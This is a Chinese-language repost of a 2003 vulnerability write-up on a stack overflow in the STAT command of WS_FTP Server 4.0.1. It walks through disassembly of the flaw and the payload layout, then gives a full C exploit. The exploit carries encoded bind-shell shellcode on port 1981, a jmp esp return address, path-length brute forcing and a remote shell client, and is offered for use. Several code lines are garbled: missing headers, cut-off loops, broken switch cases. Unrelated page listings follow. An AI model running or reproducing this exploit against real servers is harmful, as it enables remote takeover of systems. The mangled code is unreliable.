WSFTP FTPD "STAT"命令溢出解析 -电脑资料

以下分析基于WS_FTP Server 4.0.1.EVAL (47156314)版本,只分析“STAT”命令溢出

的情况,

WSFTP FTPD "STAT"命令溢出解析

事实上,WS_FTP在处理STAT命令时,很多地方都有长度判断,但是,有一个地方他遗漏了,

那么,我们的机会就来了。:)

漏洞函数引用关系如下:

loc_41200D <- [0]

|_ sub_41B523

|_ sub_424BC1

|_ lstrlenA <- [1]

|_ sub_424DD8

|_ sub_42D75F

|_ lstrcpyA <- [2]

[0]判断是否"STAT"命令

.text:0041200D loc_41200D:

.text:0041200D push offset aStat_0

.text:00412012 mov ecx, [ebp+8]

.text:00412015 push ecx

.text:00412016 call __strcmpi

.text:0041201B add esp, 8

.text:0041201E test eax, eax

.text:00412020 jnz short loc_41202F

.text:00412022 mov ecx, [ebp-4]

.text:00412025 call sub_41B523

.text:0041202A jmp loc_412775

[1]长度判断,file full path name 长度不能超过0x200

.text:00424D4A mov eax, [ebp+lpString2] ; our_buff

.text:00424D4D push eax ; lpString

.text:00424D4E call ds:lstrlenA

.text:00424D54 mov ecx, [ebp+var_8] ; get path len

.text:00424D57 add ecx, eax ; get total len

.text:00424D59 mov [ebp+var_8], ecx

.text:00424D5C mov edx, [ebp+var_8]

//total len compare with 0x200

.text:00424D5F cmp edx, [ebp+arg_10] ;

.text:00424D62 jle short loc_424D69 //<- need jmp

.text:00424D64 mov eax, [ebp+var_4]

.text:00424D67 jmp short loc_424DD2 //<- exit!

[2]file full path name copy to stack buffer,overflow!!

.text:0042D7C3 mov eax, [ebp+8] //<- file full path name

.text:0042D7C6 push eax ; lpString2

.text:0042D7C7 lea ecx, [ebp-0x118]

.text:0042D7CD push ecx ; lpString1

.text:0042D7CE call ds:lstrcpyA

......

.text:0042DD9B retn 8

看起来是个简单的堆栈溢出,但利用起来挺麻烦的。因为:

1)我们不知道路径长度,所以不能准确的覆盖函数返回地址。

2)BUFF长度最大只能有0x200(包括路径),溢出点在0x118,不管是前面和后面,

存放sc的空间都不大,放个得到cmd shell的sc是不够的。除非搞个tiny的shellcode。

这个有点象IIS WEBDAV溢出的利用,不过这比WEBDAV简单得多。

其实我们可以利用长度判断的限制,准确的猜测到路径的长度,并且猜测过程中不会把

ws_ftp搞当掉,而且在猜中的同时准确的把jmp esp的地址覆盖在函数的返回地址上。

如何猜测路径长度我就不罗嗦了,可以参见<>这篇

文章。

为什么不覆盖SEH?没错,出现溢出的函数sub_42D75F它自己是建立了异常处理函数,并且我们

可以覆盖到,但是溢出后,sub_42D75F函数在后续操作中、直到它返回也不会触发异常。并且因为

buff长度有限,上级的SEH覆盖不了,所以我们只有覆盖返回地址这条路可走了。

为了写这个exp,还专门修改了一下sc,我们发送的buff结构如下:

+------------------------------------------------+

| |

|path|pad1|sc1|jmp 0x2c|nop(0x14)|ret|nop(8)|jmp back(5)|nop(7)|sc2|pad2|

| |

+--------------------------------------+

|<--------- 0x118+4 bytes ------>|<------- 0x200-1-0x118-4 bytes ------>|

1) path不是我们发送的。

2) 函数ret的时候是retn 8,所以要有nop(8)。

3) 溢出后,函数有两个变量会被改变,所以要有nop(0x14)来跳过。

4) nop(7) for what? I dont tell you. ^_^

Thats ALL!

如果有错误的地方请斧正,如果你有更好的idea,与我分享?谢谢!

/* x-ws_ftp.c - x86/win32 WS_FTP FTPD "STAT" command remote

* stack buffer overflow exploit

*

* (C) COPYRIGHT XFOCUS Security Team, 2003

* All Rights Reserved

*

* -----------------------------------------------------------------------

* Author : eyas

* :http://www.xfocus.org

* Maintain : XFOCUS Security Team

* Version : 1.0

*

* Test : Windows 2000 server EN

* + WS_FTP Server 4.0.1.EVAL (46006050)

* Notes : This vul discover by Dvdman@l33tsecurity.com!

To exploit this vul, you must have a account can login into ws_ftp.

* Greets : dvdman and all member of XFOCUS Security Team.

* Complie : cl x-ws_ftp.c

* Usage : x-ws_ftp.exe <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]

* [type]

* 0 win2k sp4 user32.dll

*

* Add more targetss jmp esp addr by yourself,

* and then pls email a copy to me, thanks. :)

*

* Date : 2003-10-08

* Revised :

*

* Revise History:

*

* ------- start rip from dvdmans exp -----------------

* VULN VERSIONS: <= X2 WS_FTP Server 4.0.1 (1323562169)

* VULN COMMANDS: APPE,STOR,STAT,RMD,RNFR,RNTO,AND MORE

* -------- rip end ------------------------------------

*/

#include

#include

#include

#include

#pragma comment(lib,"ws2_32")

#define maxlen (0x200-1)//能够触发溢出的最大长度

#define overpoint (0x118+4)//溢出点 #define sc_jmp_addr_offset (0xa4+22)//sc中存放jmp addr的offset

#define mini_path 0xf//最短路径

#define ERR_EXP_OK 0

#define ERR_EXP_CONNECT -1

#define ERR_EXP_FAILED 1

#define version "1.0"

//modify it by yourself

struct

{

DWORD dwJMP;

char *szDescription;

}targets[] =

{

{0x77E14C29, "win2k sp4 user32.dll"},

},v;

//total = 366 (0x16E) bytes (xor with 0x93)

unsigned char sc_bind_1981[]=

//decoder 22 bytes ->动态定位需解码sc地址

"\xEB\x0F\x5B\x80\x33\x93\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"

"\x05\xE8\xEC\xFF\xFF\xFF"

//sc_bind_1981 for 2k/xp/2003 by ey4s

//speacial version for ws_ftp base on v1.03.10.07

//XOR with 0x93 (367 0x16F bytes)

"\x12\x7F\x93\x91\x93\x93\x7A\xA4\x92\x93\x93\xCC\xF7\x32\xA3\x93"

"\x93\x93\x18\xD3\x9F\x18\xE3\x8F\x3E\x18\xFB\x9B\xF9\x97\xCA\x7B"

"\x4A\x93\x93\x93\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC"

"\xC7\x6C\xC4\x6F\x18\x7B\xF9\x95\xCA\x7B\x2C\x93\x93\x93\x71\x6A"

"\x12\x7F\x03\x92\x93\x93\xC7\xFB\x91\x91\x93\x93\x6C\xC4\x7B\xC3"

"\xC3\xC3\xC3\xF9\x92\xF9\x91\x6C\xC4\x63\x18\x4B\x18\x7F\x54\xD6"

"\x93\x91\x93\x94\x2E\xA0\x53\x1A\xD6\x97\xF9\x83\xC6\xC0\x6C\xC4"

"\x67\xC0\xF9\x92\xC0\x6C\xC4\x6B\xC3\xC3\xC0\x6C\xC4\x6F\xC3\x10"

"\x7F\xCB\x18\x67\xA0\x48\xF9\x83\xCA\x1A\x8F\x1D\x71\x68\x78\xBF"

"\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3"

"\xD3\xD3\xD3\xD3\x03\x03\x03\x03\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3"

"\xE9\x35\xFF\xFF\xFF\xD3\xD3\xD3\xD3\xD3\xD3\xD3\x1A\xD5\xAB\x1A"

"\xD5\xAF\x1A\xD5\xD3\x54\xD5\xBF\x92\x92\x93\x93\x1E\xD5\xD7\xC3"

"\xC5\xC0\xC0\xC0\xF9\x92\xC0\xC0\x1E\xD5\xC7\x54\x93\xF0\xFE\xF7"

"\x93\xC3\xC0\x6C\xC4\x73\xA0\x53\xDB\xC3\x6C\xE5\xD7\x6C\xC4\x4F"

"\x10\x57\xCB\x6C\xC4\x7F\x6C\xC4\x7F\xC3\x6C\xC4\x4B\xC2\x18\xE6"

"\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"

"\xD2\x3E\x90\x56\xA0\x48\xA0\x41\x9C\x2D\x83\xA9\x45\xE7\x9B\x52"

"\x58\x88\x90\x49\xD3\x78\x7C\xA8\x8C\xE6\x76\xCD\x18\xCD\xB7\x90"

"\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38"

"\xCA\x50\x7B\x57\x6D\x6C\x6C\x7A\x28\x50\x3D\x27\xEE\x86\x0B\x58"

"\xD1\xE4\x2B\x4F\x4E\x89\xA0\xBE\x87\xC5\x3D\x55\xB8\x2E\xBD\x4D"

"\xC4\xE1\x37\xB7\x21\xA1\x93\x9D\xCE\x58\x4D\xE7\xB1\xF0\x5B"

//decode end sign

"\x45\x59\x34\x53";

unsigned char *szSend[3];

unsigned char szSTAT[0x1000];

int iType;

int iPort=21;

char *ip=NULL, *pUser=NULL, *pPass=NULL;

char user[128],pass[128];

void shell (int sock);

void usage(char *p);

int SendExploit(int iPathLen);

void main(int argc, char **argv)

{

int i, iPathLen=0, ret;

printf( "WS_FTP FTPD remote stack buffer overflow exp v%s\n"

"This version can exploit WS_FTP Server 4.0.1.EVAL\n"

"Vul discover by Dvdman@l33tsecurity.com\n"

"Code by eyas@xfocus.org\n"

"http://www.xfocus.net\n"

"Create: 2003-10-08\n", version);

if(argc < 9)

{

usage(argv[0]);

return;

}

for(i=1;i

{

if(strlen(argv) != 2)

{

usage(argv[0]);

return;

}

//检查是否缺少参数

if(i == argc-1)

{

usage(argv[0]);

return;

}

switch(argv[1])

{

case i:

ip=argv[i+1];

break;

case t:

iType = atoi(argv[i+1]);

break;

case P:

iPort=atoi(argv[i+1]);

break;

case p:

pPass = argv[i+1];

break;

case u:

pUser=argv[i+1];

break;

case l:

iPathLen=atoi(argv[i+1]);

break;

}

}

if((!ip) || (!user) || (!pass))

{

usage(argv[0]);

printf("[-] Invalid

parameter.\n");

return;

}

if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )

{

usage(argv[0]);

printf("[-] Invalid type.\n");

return;

}

if( (iPathLen>0) && (iPathLen

{

printf("[-] Hey, guy, mini path is %d.\n", mini_path);

return;

}

_snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);

user[sizeof(user)-1]=\0;

_snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);

pass[sizeof(pass)-1]=\0;

szSend[0] = user;//user

szSend[1] = pass;//pass

szSend[2] = szSTAT;

if(iPathLen)

SendExploit(iPathLen);

else {

for(i=mini_path;;i++)

{

ret = SendExploit(i);

switch(ret)

{

case ERR_EXP_FAILED:

break;

case ERR_EXP_CONNECT:

case ERR_EXP_OK:

return;

break;

}

}

}

return;

}

/* ripped from TESO code and modifed by ey4s for win32 */

void shell (int sock)

{

int l;

char buf[512];

struct timeval time;

unsigned long ul[2];

time.tv_sec = 1;

time.tv_usec = 0;

while (1)

{

ul[0] = 1;

ul[1] = sock;

l = select (0, (fd_set *)&ul, NULL, NULL, &time);

if(l == 1)

{

l = recv (sock, buf, sizeof (buf), 0);

if (l <= 0)

{

printf ("[-] Connection closed.\n");

return;

}

l = write (1, buf, l);

if (l <= 0)

{

printf ("[-] Connection closed.\n");

return;

}

}

else

{

l = read (0, buf, sizeof (buf));

if (l <= 0)

{

printf("[-] Connection closed.\n");

return;

}

l = send(sock, buf, l, 0);

if (l <= 0)

{

printf("[-] Connection closed.\n");

return;

}

}

}

}

void usage(char *p)

{

int i;

printf( "Usage: %s <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]\n"

"[type]\n", p);

for(i=0;i

{

printf("%d\t%s\n", i, targets.szDescription);

}

}

int SendExploit(int iPathLen)

{

struct sockaddr_in sa, server;

WSADATA wsd;

SOCKET s,s2;

int i,iErr, ret, pad1,pad2;

char szRecvBuff[0x1000];

int retcode = ERR_EXP_CONNECT;

printf("\n[+] -=-= Try type %d, path %d. -=-=\n", iType, iPathLen);

memcpy(&sc_bind_1981[sc_jmp_addr_offset], &targets[iType].dwJMP, 4);

memset(szSTAT, 0, sizeof(szSTAT));

strcpy(szSTAT, "STAT ");

//计算第一部分填充多少字节

//如果path估算小了,那么buff就会超过0x200,就不会溢出了:)

pad1 = overpoint - sc_jmp_addr_offset - iPathLen;

if(pad1<0)

{

printf( "[-] You cant try any more, path reach the max vaule.\n"

" If you want to try longer path, change the sc by

yourself.\n");

exit(1);

}

for(i=0;i

strcat(szSTAT, "a");

strcat(szSTAT, sc_bind_1981);

//计算后面要填充多少字节

pad2 = maxlen - overpoint;

//减去已经填充的

pad2 -= (sizeof(sc_bind_1981)-1-sc_jmp_addr_offset);

if(pad2<0)

{

printf("[-] shellcode too long.\n");

exit(1);

}

for(i=0;i

strcat(szSTAT, "b");

strcat(szSTAT, "\r\n");

if(strlen(szSTAT) >= sizeof(szSTAT))

{

printf("[-] stack buffer overflow.\n");

exit(1);

}

__try

{

if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)

{

printf("[-] WSAStartup error:%d\n", WSAGetLastError());

__leave;

}

s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(s == INVALID_SOCKET)

{

printf("[-] Create socket failed:%d",GetLastError());

__leave;

}

sa.sin_family=AF_INET;

sa.sin_port=htons(iPort);

sa.sin_addr.S_un.S_addr=inet_addr(ip);

iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));

if(iErr == SOCKET_ERROR)

{

printf("[-] connect to target:21 error:%d\n", GetLastError());

__leave;

}

printf("[+] connect to %s:%d success.\n", ip, iPort);

Sleep(1000);

for(i=0;i

{

memset(szRecvBuff, 0, sizeof(szRecvBuff));

iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);

if(iErr == SOCKET_ERROR)

{

printf("[-] recv buffer error:%d.\n", WSAGetLastError());

__leave;

}

printf("[+] Recv: %s", szRecvBuff);

iErr = send(s, szSend, strlen(szSend),0);

if(iErr == SOCKET_ERROR)

{

printf("[-] send buffer error:%d.\n", WSAGetLastError());

__leave;

}

if(i==sizeof(szSend)/sizeof(szSend[0])-1)

printf("[+] Send shellcode %d(0x%X) bytes.\n", iErr, iErr);

else

printf("[+] Send: %s", szSend);

Sleep(100);

}

printf("[+] Wait from shell.\n");

Sleep(2000);

s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

server.sin_family = AF_INET;

server.sin_port = htons(1981);

server.sin_addr.s_addr=inet_addr(ip);

ret = connect(s2, (struct sockaddr *)&server, sizeof(server));

if(ret!=0)

{

printf("[-] Exploit seem failed.\n");

retcode = ERR_EXP_FAILED; __leave;

}

printf("[+] Exploit success! Have fun! :)\n");

shell(s2);

retcode = ERR_EXP_OK;

}

__finally

{

if(s != INVALID_SOCKET) closesocket(s);

if(s2 != INVALID_SOCKET) closesocket(s);

WSACleanup();

}

return retcode;

}

相关文章

中秋节放假通知模板

模板一、中秋节放假通知根据《国务院办公厅假日办关于2015年中秋、国庆节假日安排的通知》:2015年的中秋节是从9月26日至9月27日放假休息。其中,9月27日为法定的节假日。国庆节从10月1日至10...
资料大全2019-01-01
中秋节放假通知模板

“自以为是”的人心理并不健康

“自以为是”的人心理并不健康“自以为是”的人心理并不健康自以为是,也是常见的心理疾病,它是事业成功的拦路虎。要学会客观地看待自己和公正的评价他人。别太主观了,过分自信其实就是自卑。一个人认清自己很难,...
资料大全2018-05-08
“自以为是”的人心理并不健康

陷阱

陷阱1一天,狐狸和兔子吵架了,就为了一点鸡毛蒜皮的小事,兔子就和狐狸绝交了,其实兔子心里并不想和狐狸绝交,是狐狸欺人太甚,一点小事就算了,还把兔子的房子给拆了,所以兔子才和狐狸绝交。有一天,狮子看见了...
资料大全2019-02-05
陷阱

中等水平收入标准

导读:根据12月21日,中国社科院发布的《社会蓝皮书:2017年中国社会形势分析与预测》(以下称《蓝皮书》),随着城乡居民收入继续增长,近年中国中等收入群体规模较快扩张。2017中等水平收入标准与此同...
资料大全2019-03-05
中等水平收入标准

优秀班干部先进事迹材料

无论是身处学校还是步入社会,大家总少不了要接触或使用事迹吧,事迹是指对本单位具有突出事迹的集体和个人整理出的文字宣传材料。那么拟定事迹真的很难吗?下面是小编帮大家整理的优秀班干部先进事迹材料,希望对大...
资料大全2016-06-02
优秀班干部先进事迹材料

杨幂《明月》歌词

歌曲《明月》为《宫》的插曲,由杨幂演唱,以下是小编整理的杨幂《明月》歌词,欢迎参考阅读?睹髟隆犯璐首髑禾沸嗲禾沸谱魅耍禾沸莩貉蠲莺铣禾疯髟录甘庇校丫莆是嗵臁2恢焐瞎冢裣κ呛文辏...
资料大全2014-02-02
杨幂《明月》歌词